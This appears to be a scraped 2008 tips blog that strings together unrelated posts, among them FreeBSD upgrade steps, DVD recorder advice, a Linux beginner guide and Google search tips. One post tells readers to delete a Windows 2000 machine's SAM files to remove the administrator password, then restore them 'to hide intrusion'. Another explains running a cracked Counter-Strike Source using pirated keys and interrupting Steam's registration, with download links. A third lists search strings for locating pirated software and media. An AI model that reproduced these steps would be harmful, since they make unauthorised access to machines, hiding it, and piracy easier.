This isn't that difficult. First run make installkernel KERNCONF= your config name. Now here is the interesting part. Run mergemaster -p, this program looks through your etc and updates it to match the new /etc in /usr/src. It will display changed files to you, press q and it will give you options. Something like i (install), m (merge) etc. Pick merge and it will open a nice little screen that shows you one file on the right and one on the left. It will go section by section, showing the areas that have changed. Press r or l to choose which section to keep. Its pretty easy to see which section has new stuff and which does not. After the merge, it will prompt you with options for the newly merged file. One of these will be install and this is the one you want. In the latest current, most of what you will be showed is user and group files. Make sure you do select the sections with the new users and groups. After this is done, it will ask you a couple questions that you can say yes to. Now that your /etc is updated run make installworld then reboot.

NOTE: You usually don't need to run mergemaster. However, 5.2.1 is a pretty old release and -CURRENT has come a long way.

I. Ports

Welcome to running current. The rest is easy. cd back to /usr and edit the ports supfile the same way you did the standard one. Run cvsup on it and wait. After its done, you will have a full ports tree. There is not much left to say. You now have a working system and a fully updated one too. To install software from ports cd to /usr/ports/category/softwarename/ and run make install clean . If you want linux binary support, install the linux_base port. To find where it is cd to /usr/ports and run make search name=linux_base | less . Enable loading the kernel modules for linux binary support by editing /etc/rc.conf. Just add the line linux_enable="YES" to the file and your set. If this is a desktop system, I would recommend installing /usr/ports/x11/xorg and your choice of /usr/ports/x11/gnome2 or kde3. Have fun .

Get it from:

http://www.madpenguin.org/cms/?m=show&id=1853

Get the Most Out of Your DVD Recorder

2008-08-17T00:43:00.001-07:00

I admit it: I'm a former tape-a-holic. When I began using a VCR some 20 years ago (I ended up teaching Mom and Dad how to program the darn thing back then), I got hooked on the idea of creating my own video library, replete with everything from "Star Trek" episodes to gymnastics competitions.

Recently, however, I stopped recording video on tape and switched to DVD--and I haven't looked back. But after using several DVD recorders, I've identified some quirks and frustrations that are specific to frequent users like myself. Recording to DVD is very different from recording to tape; you encounter new types of hassles ranging from pesky so-called disc preparation times to annoying delays in ejecting discs and the challenge of creating visually appealing menus. The tips that follow are geared towards hardcore videophiles (you know who you are), but they're also applicable to the most casual user.

1. Choosing the Best Recorder for TV

If you've already bought your DVD recorder, skip to tip 2. But if you haven't, be prepared to be confused by a torrent of acronyms and options. DVD+R, DVD+RW, DVD-R, DVD-RW, DVD-RAM, EPGs ... and you thought buying an HDTV would be confusing.

When you walk into a store, chances are you won't be able to tell the differences between the slim DVD recorders gracing the shelves--at least, not at a glance. On the outside, they look virtually identical. And the only additional information you might get from the price tag or label is what format the recorder supports and whether it has a hard drive.

Don't stress so much about the formats. No single manufacturer supports all of the formats available; a couple of makers come close (Lite-On, Sony), supporting all but DVD-RAM. The - and + formats are quite similar, and either will get the recording job done.

I've personally observed that the - format discs tend to take longer to initialize and finalize. By longer, I'm talking about anywhere from 5 to 120 seconds, depending upon the unit--enough to be incredibly annoying when you're sitting in front of the TV, your finger eagerly hovering over the record button to start a recording, or the eject button so you can swap discs without missing any action.

If your goal is to record a lot of TV shows, then I can't recommend highly enough a DVD recorder with integrated TiVo service. Humax, Pioneer, and Toshiba all offer such recorders, which combine a hard drive of 80GB or greater with a DVD burner, and, of course, the TiVo service. The full-blown TiVo service costs extra ($299 for the lifetime of the unit, on top of the cost of the recorder) and adds two-week's worth of program guides, a season-pass feature that records all episodes of a show so you never miss your favorites, and artificial intelligence that finds and records programs you might enjoy. (A free limited version of TiVo's software that downloads electronic programming information for the next three days is integrated into these units at no added cost.)

I don't make this recommendation just because of TiVo's personalized recording features and friendly graphical interface. The reason I suggest going this route is that these recorders have an amazing capacity to automatically create navigational menus. All of the program data in TiVo's electronic program guide--as well as TiVo's visual menu navigation structure--conveniently transfers over to any disc you burn.

DVD recorders are typically limited in what they can do to label menus. When you record a disc, you end up with a generically labeled index, with thumbnails for each recording or "title" on the disc, and boring and uninformative labels like "Title 01" (with, perhaps, the time and date added for good measure). TiVo-enabled recorders, in contrast, provide disc menus with the series name, episode title, and even a program summary as well as the date and time of the recording. If you're recording to cheap write-once media, this feature is invaluable. If you're recording to rewritable media--which means you could conceivably edit the menu titles at some point--this capability is still a huge time-saver.

Avid videophiles who don't want to spring for TiVo should look for a DVD set-top unit with a high-capacity hard drive of 80GB or more and high-speed dubbing of at least 8X. So far, I've seen only one recorder with both high-speed dubbing capability and a high-capacity hard drive, but I imagine that more such units will be forthcoming--eventually.

Beware of units that bill themselves as having "high-speed" dubbing: In most cases, the manufacturer is using the term to denote recording speeds of 2X or 4X from the hard drive to DVD. Furthermore, some vendors are coming up with absurd-sounding dubbing speeds--for example, 32X, a number they derive based on how many hours' worth of recordings you can fit on a disc (8 hours at the lowest-quality recording mode), and the speed of the burner (4X in my example).

Where to start your search? I recommend browsing PC World's latest "Top 10 DVD Drives" chart:

http://www.pcworld.com/reviews/article/0,aid,118249,tk,box,00.asp

2. Allow Extra Time

If you're preparing to record a program, budget a few extra minutes to get the unit ready. Believe me, the seconds add up--as I learned during my recording marathon of the Athens Olympiad. You need to factor in up to 30 seconds for the recorder to boot, about 10 to 20 seconds for the disc to spin up, and at least another 30 to 45 seconds for the recorder to prepare the disc for recording (your unit might say "initialize" or "format"). That's all before you can hit Record.

And when you're through recording, expect to wait 30 to 60 seconds to regain control of the recorder after you hit Stop. With some models, the delay occurs after you hit Eject. Either way, that delay could mean you'll miss the beginning of the next gymnast's routine--and none of this takes into account disc finalization, which can take another 30 seconds to 3 minutes, depending upon the disc's format and how much of it you've used.

3. Finalize, Finalize, Finalize

Disc finalization is the process that closes the disc so it can be read in other devices, such as a DVD player, DVD recorder, or DVD-ROM drive. It's also a process that bites. There, I've said it.

Finalization is the dirty little secret of DVD recorders: It's a time-consuming extra step that users of the venerable VCR don't expect. And it requires more effort than it should, due to poor menu design on DVD recorders. I've yet to see a recorder that makes this step truly easy--all of them bury it under a setup or menu item, and all of them require far too many clicks and layers considering this is a N-E-C-E-S-S-A-R-Y step for every write-once DVD-R or DVD+R you burn.

I recommend finalizing your disc as soon you're through recording. Due to quality issues, you'll likely record only a maximum of 2 hours of television per disc, which means that no more than two weeks will pass between finalization sessions. This way, when you go back to a recorded disc, it will be ready to play in any DVD player--whether it's the $30 Costco special in your bedroom or your laptop's DVD-ROM drive.

Caution: You might think you don't need to finalize if you don't have more than one DVD player or drive, and you plan on playing your DVD on your own recorder only. But what happens when, inevitably, you upgrade your recorder to a swankier, newer model? Or, even worse, when the model you're using now isn't working five years down the line? Then what? You'll be left with a library full of unreadable discs. Although you might be able to recover the raw video data from an unfinalized disc using a program like Infinadyne's CD/DVD Diagnostic, the process is tedious and time-consuming. Also, don't count on scavenging a backup unit off EBay in a few years: As I've learned, discs may not be interchangeable, even between two recorder decks bearing the same model number from the same manufacturer.

4. Don't Abuse Your Discs

It's easy to leave discs out of their cases, lying around or stacking up as you swap 'em out for a new one. But avoid that temptation--the dust will damage your discs, and you increase the chances of accidental scratches and scuffs.

Also, avoid leaving your recorded DVDs near a sunny window. The disc's dye layer is susceptible to light and heat; if either affects the disc, its data may become unreadable.

Finally, clean your discs carefully. Use a lint-free cloth, compressed air, or a liquid cleanser intended for use with DVD media. Dust and other airborne particles can scratch your disc, which could result in data loss. When cleaning with a lint-free cloth, stroke from the inside of the hub to the outside of the disc. Never use a circular motion from the inside out; and never use a tissue, paper towel, or other random rag.

For more on how to treat your discs, read
"Ten Tips for Durable DVDs":

http://www.pcworld.com/howto/article/0,aid,113716,tk,box,00.asp

5. Choose Your Media--and Labels--Wisely

A cheap spindle of media is tempting, but then you have to buy cases separately. And what cases to buy? Small plastic jewel cases? DVD movie-size cases? The combinations can be frustrating, at best.

Spindles are indeed affordable, but don't buy them without buying cases, too--and keep both stashed near your TV and DVD recorder setup, so you can easily grab a disc from the recorder and place it into its case. Otherwise, it's way too easy for stacks of discs to pile up--a no-no, as I note in tip 4.

Also, consider buying discs that come in oversized movie-style plastic cases. You'll pay a little more, but the convenience is worth it. Plus, you'll get a cardstock insert that you can use to create handwritten labels. If you get a high-speed dubbing unit, make sure you buy media that matches the recorder's speed.

If you do buy spindle media, keep in mind that the cases you buy in bulk may not have an insert on which you can scribble. If the case lack inserts, improvise with a piece of letter-size paper, folded over or cut up to fit accordingly. Spend a little more money, and you can get cardstock inserts.

There are a host of labeling software options out there to help you craft your labels. Read the following two "Burning Questions" columns for a comprehensive review of the subject:

"The Joy of Labeling":

http://www.pcworld.com/reviews/article/0,aid,114423,tk,box,00.asp

"Is Labeling Software Worth the Hassle?":

http://www.pcworld.com/reviews/article/0,aid,114848,tk,box,00.asp

But all of these options are going to require you to move your labeling operation over to the PC--something that may not work into your recording work flow.

Other PC-based labeling options include printable media that you can use with an inkjet printer. I'd stay away from adhesive labels, though: They're difficult to apply evenly, and could cause problems if the disc is poorly manufactured.

If you're trying to keep your labeling efforts nearer to your TV, I'd suggest using water-based pens to write on the discs, and on the label inserts, too, while you're at it. Another possibility: If your handwriting is barely better than chicken scrawl, then it's worth buying a battery-operated labeler, such as those offered by Brother or Casio. Both companies offer half-inch-wide labels that fit well along the spine of a DVD movie case.

Get in windows 2000 as Administrator.

2008-08-17T00:43:00.000-07:00

>
> NOTE: Requires a boot disk.
>
> Get the command prompt and go to C:\winnt\sytem32\config\ and do
the following commands:
> attrib -a -r -h
> copy sam.* a:\
> del Sam.*
>
> reboot the computer. there should be no administrator password.
just put in administrator and hit enter. replace the sam files to
restore the password to hide intrusion.

Design with Swirls and Flourishes

2008-08-16T09:07:00.000-07:00

It’s very common these days to see swirls and flourishes within graphic design. You can use brushes or vectors to achieve this look, but if you want to customize your own you’ll have to dig in and spend some time creating them. This tutorial will cover some of the techniques you can use to create your own beautiful swirls and flourishes.

VIEW THIS TUTORIAL

Make skin older

2008-08-16T04:43:00.000-07:00

In this tutorial you will learn how to make skin older

VIEW THIS TUTORIAL

Face Swapping

2008-08-16T04:41:00.000-07:00

Swap the faces of two different people in two different images.

VIEW THIS TUTORIAL

Getting Counter-Strike Source to work

2008-08-16T02:06:00.001-07:00

Step 1- Download cssource_notcracked_beta_emporio.rar, cssource_cracked_emporio.rar and cssource_updates_emporio.rar (make sure this update is V2).

Step 2- Extract cssource_notcracked_beta_emporio.rar to a folder (for this example we will use E:/CS: Source*), then extract cssource_cracked_emporio.rar to E:/CS: Source*(overwrite all files) and finally extract cssource_updates_emporio.rar(V2) to E:/CS: Source* (overwrite all files).

Step 3- Make a NEW steam account(We will use Bob1g2** for this example).

Step 4- Now here comes the tricky part. After you have made a NEW steam account, get any counter strike: condition zero key (and no i won't tell you one) off the internet. Launch steam and click on Condition Zero in the Avaible Games list. Click on Register this product and click next. Once you get to the point where it says, "Steam is processing you request" open up Task Manager (Ctrl, Alt, Delete at the same time) and click on steam.exe and once the steam window has 1 bar that is yellow, click terinate process on the task manager.

Step 5- Open up steam again and check if Condition Zero is in your My Games list. If it isn't then repeat Step 3 using a different key untill you get Condition Zero is your My Games list. Once you get it in your My Games list then, download Codename Gordon and once it has finished downloading, launch it. Once you get into the menu, then click exit.

Step 6- Go into the folder where you installed steam and copy ClientRegistry.blob into the folder where you installed CS: Source.

Step 7- Go into the folder where you installed CS: Source and open up SteamApp.cfg.

Step 8- Once you have opened up SteamApp.cfg, edit it so it only has this in it:

CODE

SteamAppId=10
#SteamAppVersionId=0
SteamInstallPath="E:/CS: Source*"
# [as is clearified later on, this should be your email address:]
#SteamAppUser=aalb002@cafe.boomtown.net
SteamAppUser=Bob1g2**

Make sure you change the Bob1g2** bit to the new steam account you created and the E:/CS: Source* to where you installed counter-strike source.

Step 9- Make a sortcut of hl2.exe with these in the sortcut(without the quotes) "-steam -game cstrike"

*Change this to where you installed CS: Source.
**Change this to your new steam account.

Downloads

cssource_notcracked_beta_emporio.rar- fxp://cs.rivera.ru/games/Counter-Strike/CS_Source/client/cssource_notcracked_beta_emporio.rar

cssource_cracked_emporio.rar- fxp://cs.rivera.ru/games/Counter-Strike/CS_Source/client/V2/cssource_cracked_emporio.rar

cssource_updates_emporio.rar(v2)- fxp://cs.rivera.ru/games/Counter-Strike/CS_Source/client/V2/cssource_updates_emporio.rar

Limit is 100 users max

Other things you should know

Don't download the V3 update since that doesn't work yet.

If you get a error saying that you are not subscribed, then do steps 4-6 to make it work again.

If you get unable to set mode then do this:
go to your registry -> HKEY_CURRENT_USER\Software\Valve\Source\Settings -> look up the entry "ScreenRefreshRate" -> doubleclick -> type your favourite monitor hz value into the field (i.e. 100hz, if your monitor can handle it) -> change the base setting from hexadecimal to decimal -> finished. (excerpt taken from flinkerhamster tutorial)

Some Servers

1. 66.199.235.42:27014

2. 24.141.2.86

These servers have being tested by me and are working.

Getting A 1gb Yahoo China Account

2008-08-16T02:06:00.000-07:00

1. Sign for a yahoo ID... you can do this in my.yahoo.com. DO NOT check the automatically create an Email address
2. Clear ALL cookies
3. Activate mail account at cn.mail.yahoo.com
(you get 100Mb storage first *don't worry*), then sign-out
NOTE: FYI, the two boxes in the activation page is lastname and firstname

Upgrading to 1Gb Yahoo China Account
1. Sign-in to Yahoo Messenger, add a contact, sign-out
2. Go back to cn.mail.yahoo.com (all pages would be in Chinese)
3. Click the 1G orange label (graphic) *look at the lower right of the page*
4. Type-in your Yahoo ID and Password *look at the bottom of the page*
5. You'll go to two more Chinese pages (Just click the bottom centered label in the page)
6. Tadah!! Your upgraded to 1Gig and your default is English with Free POP3

There's no pesky graphic or flash ads at the moment... but your email add would be username[at]yahoo.com.cn

I think that's good enough for people without Gmail

Go to Windows updates anonymously

2008-08-16T02:04:00.002-07:00

Would you like to use the Windows Update feature without being forced to register with Microsoft? OK then, this is what you can do:

Launch good ol' Regedit.
Go down to HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion.
Look for a value named RegDone. If it isn't there create a new value with that name.
Right click the new value and choose Modify. Make the value 1.
Close Regedit and
Enjoy!

Getting started with Linux for nOObs

2008-08-16T02:04:00.001-07:00

I. What is Linux?
II. Trying it out
III. Installing
IV. What to do now
V. The Console

Intro:
This tutorial is written with the total Linux n00b in mind.
I've seen too many n00bs get totally left in the dark by asking what
the best distro is. They seem to only get flooded with too many
answers in so short a time. I'm a little bit of a n00b too, so I know
how it feels. I will cover a grand total of two basic distros. You may
learn to strongly prefer other ones (I do!) but this is just to get
you started. I touch on a number of topics that would be impossible to
go into in depth in one tutorial, so I encourage you to actively seek
out more about the concepts I make reference to.

I. What is Linux?

Linux is basically an operating system (OS for short). The Windows
machine you're (probably) using now uses the Mcft Windows
operating system.

Ok, so what's so different about Linux?

Linux is part of a revolutionary movement called the open-source
movement. The history and intricacies of that movement are well beyond
the scope of this tutorial, but I'll try and explain it simply. Open
source means that the developers release the source code for all their
customers to view and alter to fit what they need the software to do,
what they want the software to do, and what they feel software should
do. Linux is a programmer?s dream come true, it has the best compilers,
libraries, and tools in addition to its being open-source. A
programmer's only limit then, is his knowledge, skill, time, and
resolve.

What is a distro?

A distro is short for a distribution. It's someone's personal
modification or recreation of Linux.

What do you mean by distros? I just want Linux!

Since Linux is open source, every developer can write his own version.
Most of those developers release their modifications, or entire
creations as free and open source. A few don't and try to profit from
their product, which is a topic of moral debate in the Linux world.
The actual Linux is just a kernel that serves as a node of
communication between various points of the system (such as the CPU,
the mouse, the hard drive etc.). In order to use this kernel, we must
find a way to communicate with it. The way we communicate is with a
shell. Shells will let us enter commands in ways that make sense to
us, and send those commands to the kernel in ways that makes sense to
it. The shell most Linux's use it the BASH shell (Bourne Again SHell).
The kernel by itself will not do, and just a shell on top of the kernel
won?t either for most users; we are then forced to use a distribution.

What distro is best?

This is not the question you want to ask a large number of people at
one time. This is very much like asking what kind of shoe is best,
you'll get answers anywhere from running shoes, hiking boots, cleats,
to wingtips. You need to be specific about what you plan on using
Linux for, what system you want to use it on, and many other things. I
will cover two that are quick and easy to get running. They may not be
the best, or the quickest, or the easiest, or the most powerful, but
this is a guide for getting started, and everyone has to start
somewhere.

How much does it cost?

computer + electricity + internet + CD burner and CDs = Linux
I'll let you do your own math.
Note however that a few do charge for their distros, but they aren't
all that common, and can be worked around. Also, if you lack internet
access or a CD burner or CDs or you just want to, you can normally
order CDs of the distro for a few dollars apiece.

II. Trying it out.

Wouldn't it stink if you decide to wipe out your hard drive and install
Linux as the sole operating system only to learn that you don't know
how to do anything and hate it? Wouldn?t it be better to take a test
drive? 95 out of a 100 of you know where I'm heading with this section
and can therefore skip it. For those of you who don't know, read on.

There are many distros, and most distros try to have something that
makes them stand out. Knoppix was the first live-CD distro. Although
most of the other main distros have formed their own live-CDs, Knoppix
is still the most famous and I will be covering how to acquire it.

A live-CD distro is a distribution of Linux in which the entire OS can
be run off of the CD-ROM and your RAM. This means that no installation
is required and the distro will not touch your hard disk or current OS
(unless you tell it to). On bootup, the CD will automatically detect
your hardware and launch you into Linux. To get back to Windows, just
reboot and take the CD out.

Go to the Knoppix website (www.knoppix.com). Look around some to get
more of an idea on what Knoppix is. When you're ready, click Download.
You'll be presented with a large amount of mirrors, some of which have
ftp and some of which have http also.

note: the speed of the mirrors vary greatly, and you may want to
change mirrors should your download be significantly slow.

Choose a mirror. Read the agreement and choose accept. You'll probably
want to download the newest version and in your native language (I'll
assume English in this tutorial). So choose the newest file ending in
-EN.iso

note: you might want to also verify the md5 checksums after the
download, if you don't understand this, don't worry too much. You just
might have to download it again should the file get corrupted (you'll
have to anyway with the md5). Also, a lot of times a burn can be
botched for who-knows what reason. If the disk doesn?t work at all,
try a reburn.

Once the .iso file is done downloading, fire up your favorite
CD-burning software. Find the option to burn a CD image (for Nero, this
is under copy and backup) and burn it to a disk. Make sure you don't
just copy the .iso, you have to burn the image, which will unpack all
the files onto the CD.

Once the disk is done, put it in the CD-ROM drive and reboot the
computer. While your computer is booting, enter CMOS (how to get to
CMOS varies for each computer, some get to it by F1 or F2 or F3, etc.)
Go to the bootup configuration and place CD-ROM above hard disk. Save
changes and exit. Now, Knoppix will automatically start. You will be
presented with a boot prompt. Here you can input specific boot
parameters (called cheatcodes), or just wait and let it boot up using
the default.

note: Sometimes USB keyboards do not work until the OS has somewhat
booted up. Once you?re actually in Knoppix, your USB keyboard should
work, but you may not be able to use cheatcodes. If you need to,
attach a PS/2 keyboard temporarily. Also, if a particular aspect of
hardware detection does not work, look for a cheatcode to disable it.
Cheatcodes can be found on the Knoppix website in text format (or in
HTML at www.knoppix.net/docs/index.php/CheatCodes).

Upon entering the KDE desktop environment, spend some time exploring
around. Surf the web, get on IM, play some games, explore the
filesystem, and whatever else seems interesting. When your done, open
up the console (also called terminal, xterm, konsole, or even shell)
and get ready for the real Linux. See section V for what to do from
here.

note: to function as root (or the superuser) type su.

It's not entirely necessary that you are a console wizard at this point
(although you will need to be sooner or later), but a little messing
around wont hurt.

Just as there are many Linux distros, so there are also many types of
Knoppix. I won?t go into using any of them, but they should all be
somewhat similar. Some of them include: Gnoppix, Knoppix STD, Morphix,
and PHLAK. Other distros also have live-CDs.

III. Installing

I will guide you through the installation of Fedora Core 2. The reason
I chose Fedora is because it contains the Anaconda installer, which is
a very easy installer.

Download the discs from here:
http://download.fedora.redhat.com/pub/fedo...ore/2/i386/iso/
If the link doesn?t work, then go to www.redhat.com and navigate your
way to downloading Fedora (odds are your architecture is i386).
You will want to download the FC2-i386-disc1.iso and burn it using the
method for Knoppix. Do the same for all the discs.

Note: do NOT download the FC2-i386-SRPMS-disc1.iso files.

Now, once you?re ready, insert disc 1 into the drive and reboot.

The installer should come up automatically (if not, then see the
Knoppix section on CMOS).

Note: installer may vary depending on version. Follow directions best
you can using your best judgement.

1. Language: choose English and hit enter
2. Keyboard: choose us (probably) and hit enter
3. Installation media: choose local CDROM (probably) and hit enter
4. CD test: you can choose to test or skip
5. Intro: click next
6. Monitor: choose your monitor to the best of your ability, if you?re unsure, choose on of the generic ones
7. Installation type: choose which ever you want (default should be fine)
8. Partition: choose to automatically partition (unless you know what you?re doing)
9. Partition: the default partitions should suffice
10. Boot loader: choose your boot loader (grub for default)
11. Network settings: choose the correct settings for your network (generally, don?t mess with anything unless you know what you?re doing)
12. Firewall: you can choose a firewall if you want to
13. Language support: choose any additional language support you want
14. Time zone: pick your time zone
15. Root password: set your root password (root is the admin, or superuser; you want it to be very secure)
16. Packages: choose which packages you want to install. For hard drives over 10 gigs, you can go ahead and choose all
packages (depending on how much disk space you plan on taking up later, note that most everything you?ll need is a package: the exception
being large media files). You will generally want to install all the packages you think you?ll ever need. Two desktop environments aren?t necessary.
Make sure you have at least one and the X window system! (if you want a GUI that is). I suggest you get all the servers too.

Note: Knoppix uses the KDE Desktop environment

17. Make sure everything is all right, and install
18. You can create a boot disk if you want

Note: Desktop environments might have a set-up once you enter them

IV What to do now

Now that you have a Linux set-up and running, there are many paths you
can head down. First, you should explore your GUI and menus. Browse
the web with Mozilla, get on IM with GAIM, play games, add/delete
users, check out OpenOffice, and anything else that might be part of
your daily use. Also, set up a few servers on your computer to play
around with, specifically SMTP (*wink*wink*), FTP (vsftp is a good
one), and either telnet or SSH (OpenSSH is a good one). The setup and
use of these are beyond the scope of this tutorial, but researching
them could prove to be very educational.

The filesystem
The Linux (and Unix) filesystem is different from the normal Windows
that you?re used to. In Windows, your hard drive is denoted ?C:\? (or
whatever). In Linux, it is called the root directory and is denoted
?/?. In the / directory, there are several default folders, including
dev (device drivers) mnt (mount) bin (binaries) usr (Unix System
Resources) home, etc, and others. I encourage you to explore around
the whole file system (see section V) and research more.

Once you are well situated, it?s time to get into the heart and power
of Linux: the console. The next session will guide you through it and
set you on the path to finding out how to do stuff for yourself. You
will (probably) want to start learning to rely less and less on the
GUI and figure out how to do everything through the console (try
launching all your programs from the console, for example).

V. The Console

The Console might look familiar to DOS if you?ve ever used it. The
prompt should look something like the following:

AvatharTri@localhost avathartri$

With the blinking _ following it. This can vary greatly as it is fully
customizable. Let?s get started with the commands.

First, let?s explore the file system. The command ls will "list" the
files in the current directory. Here?s an example:

AvatharTri@localhost avathartri$ ls

It should then display the contents of the current directory if there
are any. Almost all commands have options attached to them. For
example, using the -l option, which is short for "long" will display
more information about the files listed.

AvatharTri@localhost avathartri$ ls -l

We will get into how to find out the options for commands and what
they do later.

The second command to learn will be the cd command, or "change
directory". To use it, you type cd followed by a space and the
directory name you wish to go into. In Linux, the top directory is /
(as opposed to C:\ in Windows). Let?s get there by using this command:

AvatharTri@localhost avathartri$ cd /
AvatharTri@localhost /$

Now, we are in the top directory. Use the ls command you learned
earlier to see everything that?s here. You should see several items,
which are directories. Now, let?s go into the home directory:

AvatharTri@localhost /$ cd home
AvatharTri@localhost home$

And you can now ls and see what?s around. In Linux there are some
special symbol shortcuts for specific folders. You can use these
symbols with cd, ls, or several other commands. The symbol ~ stands
for your home folder. One period . represents the directory your
currently in. Two periods .. represent the directory immediately above
your own. Here?s an example of the commands:

AvatharTri@localhost home$ cd ~
AvatharTri@localhost avathartri$

This moved us to our user?s personal directory.

AvatharTri@localhost avathartri$ cd .
AvatharTri@localhost avathartri$ cd ..
AvatharTri@localhost home$

The cd .. moved us up to the home directory.
As you?ve probably noticed by now, the section behind the prompt
changes as you change folders, although it might not always be the
case as it?s up to the personal configuration.

You can use these symbols with the ls command also to view what is in
different folders:

AvatharTri@localhost home$ ls ~
AvatharTri@localhost home$ ls ..

And you can view what is in a folder by specifying its path:

AvatharTri@localhost home$ ls /
AvatharTri@localhost home$ ls /home

The last command we will cover as far as finding your way around the
filesystem is the cat command. The cat command will show the contents
of a file. Find a file by using the cd and ls commands and then view
its contents with the cat command.

AvatharTri@localhost home$ cd [directory]
AvatharTri@localhost [directory]$ ls
AvatharTri@localhost [directory]$ cat [filename]

Where [directory] is the directory you want to view and [filename] is
the name of the file you want to view. Omit the brackets. Now, if the
file you viewed was a text file, you should see text, but if it wasn?t,
you might just see jumbled garbage, but this is ok. If the file goes
by too fast and goes off the screen, don?t worry, we will get to how
to scroll through it later.

One of the most useful commands is the man command, which displays the
"manual" for the command you want to know more about. To learn more
about the ls command:

AvatharTri@localhost home$ man ls

And you will see the manual page for ls. It displays the syntax, a
description, options, and other useful tidbits of information. Use the
up and down arrows to scroll and press q to exit. You can view the
manual pages for any command that has one (most commands do). Try this
out with all the commands that you know so far:

AvatharTri@localhost home$ man cd
AvatharTri@localhost home$ man cat
AvatharTri@localhost home$ man man

One very crucial option to the man command is the -k option. This will
search the descriptions of manual pages for the word you specify. You
can use this to find out what command to do what you need to do. For
example, let?s say we want to use a text editor:

AvatharTri@localhost home$ man -k editor

And you should see a list of apps with a short description and the
word "editor" in the description.

With a blank prompt, you can hit tab twice for Linux to display all
the possible commands. For Linux to display all the commands beginning
with a certain letter or series of letters, type those letters and hit
tab twice.

Note: This is actually a function of BASH and not Linux, but BASH is
the default Linux shell.

Now that you know a little about moving around the filesystem and
viewing manual pages, there is one more trick that we will cover to
help you out. Remember how the man pages were scrollable as in you
could use the arrow keys to scroll up and down? That is because the
man pages use something called the less pager. We?re not going to go
into what this does exactly and how it works, but that?s definitely
something that you will want to look up. Here?s how to use the less
pager with a file:

AvatharTri@localhost home$ cat [filename] | less

That uses something called a pipe. The line is the vertical line above
enter on your keyboard. Briefly, what this does is take the output
from the cat command, and stick it in the less pager. By doing this,
you can view files that would normally run off the screen and scroll
up and down.

Some final commands to check out:

mkdir - make directories
cp - copy file
mv - move file
rm - remove file
rmdir - remove directory
grep - search a file for a keyword
pwd - display current working directory
top - display system resources usage (kill the program with control + c)

Getting older programs to run on Windows XP

2008-08-16T02:04:00.000-07:00

Most programs run properly on Windows XP. The exceptions are some older games and other programs that were written specifically for an earlier version of Windows. To run your program on Windows XP, you can try the following, Run the Program Compatibility Wizard. As an alternative, you can set the compatibility properties manually. Update your program, drivers, or hardware. These options are covered in detail below.

The Program Compatibility Wizard
This wizard prompts you to test your program in different modes (environments) and with various settings. For example, if the program was originally designed to run on Windows 95, set the compatibility mode to Windows 95 and try running your program again. If successful, the program will start in that mode each time. The wizard also allows you to try different settings, such as switching the display to 256 colors and the screen resolution to 640 x 480 pixels. If compatibility problems prevent you from installing a program on Windows XP, run the Program Compatibility Wizard on the setup file for the program. The file may be called Setup.exe or something similar, and is probably located on the Installation disc for the program. To run the Program Compatibility Wizard click Start, click Help and Support, click Find compatible hardware and software for Windows XP, and then, under See Also in the navigation pane, click "Program Compatibility Wizard."

Set the compatibility properties manually
As an alternative to running the Program Compatibility Wizard, you can set the compatibility properties for a program manually. The settings are the same as the options in the Program Compatibility Wizard. To set the compatibility properties for a program manually Right-click the program icon on your desktop or the shortcut on the Start menu for the program you want to run, and then click Properties. Click the Compatibility tab, and change the compatibility settings for your program.

The Compatibility tab is only available for programs installed on your hard drive. Although you can run the Program Compatibility Wizard on programs or setup files on a CD-ROM or floppy disk, your changes will not remain in effect after you close the program. For more information about an option on the Compatibility tab, right-click the option and then click "What's This."

Update your program or drivers
If your program does not run correctly after testing it with the Program Compatibility Wizard, check the Web for updates or other fixes, as follows:

Check the Web site of the program's manufacturer to see if an update or patch is available.
Check Windows Update to see if a fix is available for the program.
Click Home on the menu bar of Help and Support Center, then click Windows Update in the right pane.

If the program is a game that uses DirectX, ensure that you are using the latest version of DirectX. In addition, check the Web site of the manufacturer of your video card or sound card to see if newer drivers are available for either of them.

Google secrets

2008-08-16T02:03:00.000-07:00

method 1
?ww.google.com

put this string in google search:

"parent directory " /appz/ -xxx -html -htm -php -shtml -opendivx -md5 -md5sums

"parent directory " DVDRip -xxx -html -htm -php -shtml -opendivx -md5 -md5sums

"parent directory "Xvid -xxx -html -htm -php -shtml -opendivx -md5 -md5sums

"parent directory " Gamez -xxx -html -htm -php -shtml -opendivx -md5 -md5sums

"parent directory " MP3 -xxx -html -htm -php -shtml -opendivx -md5 -md5sums

"parent directory " Name of Singer or album -xxx -html -htm -php -shtml -opendivx -md5 -md5sums

Notice that i am only changing the word after the parent directory, change it to what you want and you will get a lot of stuff.

voila!

method 2
?ww.google.com

put this string in google search:

?intitle:index.of? mp3

You only need add the name of the song/artist/singer.
Example: ?intitle:index.of? mp3 jackson

Utilizing search engines

2008-08-16T02:02:00.000-07:00

So much information is on the web, its mind boggling. Thankfully we have search
engines to sift through them and catagorize them for us. Unfortunatly, there is still so
much info that even with these search engines, its often a painstakingly slow process
(something comparable to death for a hacker) to find exactly what you're looking for.

Lets get right into it.

I use google.com as my primary search engine because it presently tops the charts as far as
the sites that it indexes which means more pertinent info per search.

1. Page translation.
Just because someone speaks another language doesn't mean they dont have anything useful to say. I use translation tools like the ones found at

http://babelfish.altavista.com
and

http://world.altavista.com
to translate a few key words I am searching for. Be specific and creative because these tools arent the most accurate things on the planet.

2. Directories.
These days everything is about $$$. We have to deal/w SEO (search engine optimization) which seems like a good idea on paper until you do a search for toys and get 5 pornsites in the first 10 results. Using a sites directory will eliminate that. You can narrow your search down easily by looking for the info in specific catagories. (PS google DOES have directories, they're at: directory.google.com)

3. Here are some tips that google refers to as "advanced"

A. "xxxx" / will look for the exact phrase. (google isnt case sensitive)
B. -x / will search for something excluding a certain term
C. filetype:xxx / searches for a particular file extention (exe, mp3, etc)
D. -filetype:xxx / excludes a particular file extention
E. allinurl:x / term in the url
F. allintext:x / terms in the text of the page
G. allintitle:x / terms in the html title of that page
H. allinanchor:x / terms in the links

4. OR
Self explanatory, one or the other... (ie: binder OR joiner)

5. ~X
Synonyms/similar terms (in case you can't think of any yourself)

6. Numbers in a range.
Lets say you're looking for an mp3 player but only want to spend up to $90. Why swim through all the others? MP3 player $0..$90 The 2 periods will set a numeric range to search between. This also works with dates, weights, etc

7. +
Ever type in a search and see something like this:
"The following words are very common and were not included in your search:"
Well, what if those common words are important in your search? You can force google to search through even the common terms by putting a + in front of the denied word.

8. Preferences
It amazes me when I use other peoples PCs that they dont have their google search preferences saved. When you use google as much as I do, who can afford to not have preferences? They're located on the right of the search box, and have several options, though I only find 2 applicable for myself...
A. Open results in new browser
B. Display 10-100 results per page. (I currently use 50 per page, but thats a resolution preference, and 5X's the default)

9. *
